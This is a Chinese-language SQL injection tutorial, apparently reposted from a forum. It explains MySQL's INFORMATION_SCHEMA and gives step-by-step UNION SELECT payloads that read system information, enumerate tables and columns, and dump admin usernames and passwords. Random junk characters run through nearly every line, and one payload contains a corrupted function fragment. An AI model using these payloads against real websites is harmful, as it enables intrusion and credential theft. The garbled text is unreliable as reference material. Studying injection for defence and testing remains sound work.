本文介绍MYSQL盲注的一些语句和方法+ G# R9 c' b) B' {4 T% U/ G9 S
9 R8 \( d4 a* y9 X3 _5 m/ i' o
学习盲注前先了解下 IFORMATION_SCHEMA 库
2 n+ Y0 {/ u, y6 [" ]$ x! Z
: B/ Y3 J% r, q9 Y+ D4 tMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有
5 } D4 _! T/ ^; [/ H ^* F0 P存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。* E' k6 | d f! H3 F3 a
1.得到所有数据库名:
5 }3 A; a0 m! b: ^% a6 e|SCHEMATA ->存储数据库名的表
R% Y/ Z: d A/ n$ E+ h|---字段:SCHEMA_NAME ->数据库名称
$ b" q( P1 @& \2 Q5 b6 |+ @$ d2 Q% @; ?; |4 c1 l: n1 g
|TABLES ->存储表名3 ]1 w8 Y( H7 I* l9 F
|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名* h6 l& v7 B2 B& ^( g
|---字段:TABLE_NAME ->存储表的表名& Z; u, {; `6 w' w+ [
- O l7 ?% x& q# ^* F$ g|COLUMNS ->存储的字段名表
$ Q$ R5 f: Q1 K: ?& H/ r& C|---字段:TABLE_SCHEMA ->该字段所属数据库名6 q, z- e) ]: Y9 E
|---字段:TABLE_NAME ->存储所属表的名称* B. q; C- R, G! J4 w+ f9 A+ P
+ i1 i$ [" l8 s, s1 B|---字段:COLUMN_NAME ->该字段的名称$ T9 K& W, a# [2 w4 p& O- x
% k4 N7 e8 j; g- T" N) L
2 |$ U1 F) U0 P5 ?2 H' G- {; v. a$ a( j7 H
###########################################################################
' I% R' d5 s7 U* f
+ l# E# L( e6 I0x001 获取系统信息:
n# ^" I$ n' h# d6 Q$ X
5 G; C+ B. m/ x( U n' v- Runion select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
5 O% N1 }+ @2 {) [" l8 V, Z7 S& T1 j3 Q" O
/* b" p$ ], u/ ~# m1 H) j$ o
% \, E8 [5 Y. o* M& j. q
@@global.version_compile_os 获取系统版本; ~: W& M( j- q( t+ I
. K# l- l4 I. U# o@@datadir 数据库路径; x) U M& g8 m' a( ~) q
database() 当前数据库名称
3 Y2 r, _0 d& S0x3c62723e 换行HEX值4 ~9 L) b# W% B5 k) f3 d" D
9 x6 [: n, Z! {*/7 B! Q3 Y2 C6 d9 O+ V9 V* b
1 R' t# j: T& U3 c& J
6 `+ w5 S4 \$ ^6 O3 D
5 x/ z9 ? u; ^$ T% ~- Z7 V! h2 V
######################################################################8 j! x$ }% I$ L) }
& \0 `, }: f' _( N) B$ ^
0x002 获取表名
O+ b) k+ g- N ]4 V* `
/ g. U8 U+ ?$ j1 B" Hunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*) ^* Z0 h( Z2 @0 k; m, Z' j% t% N
/ c# y* [- c7 O F 2 @5 M5 l0 n/ y& v! J; t3 O- \
% c4 M1 s+ c p3 ?4 R4 D- b: x3 E" f/*' C. f: J$ l4 r4 k: }
3 T0 w9 b% V5 E2 G) u
0x67617264656e 为当前数据库名
/ [; g% l) Q( N8 L6 r) Q: ~. T7 ?7 j7 t1 a2 u8 I; e% E
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
' K5 ?0 E+ r3 }: S2 o4 t* q# E7 B! U9 V! m/ d, k
*/
& N+ D0 W+ X i5 D C
x+ Y% D6 @% C, |8 I- B/ u! k######################################################################8 r& D+ C- W5 A2 n
% j6 ]9 w2 L- H; @' O) M2 B
2 a" x( x2 C; x- d- O
: E$ O; Z2 R+ h2 ~2 o- D% y0x003 获取字段; Y! E( \' w8 E% _5 z: [0 m! {
7 m* b/ X6 z# Y1 ?union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*9 G4 S" O6 W6 h4 d
$ A- e: T. {. X! O/*
! z1 I1 U+ ]- I1 q9 Y" t# z' }
& o7 u4 A. q0 [2 \/ k, Lgroup_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段
6 K8 J" `: f4 {! C8 {5 A9 _6 S" E! V% T0 h: U5 `
0x61646d696e ->选择一个表' `6 W0 x% M: K1 w9 ~" O
1 Y, K0 F/ S1 Z- u ~
0x67617264656e ->数据库名
, x4 q# X! S+ R' x5 K+ a. s1 N) k+ T. J& O' A. w2 Q
*/2 H0 C4 @0 C* ^5 G- \( m5 W
0 f' _! }- n1 }: |& v* Y) c5 H9 W#####################################################################
' K6 w, K1 I/ F2 _+ t# q
. E: F, l- _) r6 f+ G8 v % Q& s0 i0 }8 W9 M: q$ i
6 U* g9 N x0 W2 {0 Y/ _/ p8 K* }( D5 t
0x004 获取数据
1 e U* u! O# @8 F7 S; S) r9 E( u% S0 Q% _* `# \2 N: S
union select 1,2,3& g) P3 {- B* F9 D8 b
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
4 L/ n1 t: T3 Z; a$ m, p* J! R D' j& Y1 n
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
. [6 n& Z/ k2 G4 S" x0 W! G1 k
: A" s( B( h5 Y5 r' v+ u c 2 F% K0 e1 }, w2 W& o+ F
# M* W8 y6 s; {$ y) U+ |. j6 S/*
* h+ w7 E7 Q/ R) t% Y: p: b; U: n, J+ [: J
0x3c62723e 换行符号HEX编码6 l- b( W$ N5 ^2 j' {7 W6 A) i
$ P8 M* P0 w2 v$ {; r
group_concat 同时获得该字段所有数据
" n2 }/ C8 i. v: J8 O4 F3 g* x+ ^) k/ u. a' I
*/
: L" |3 ~' E, b4 ^ R( @! R# X
|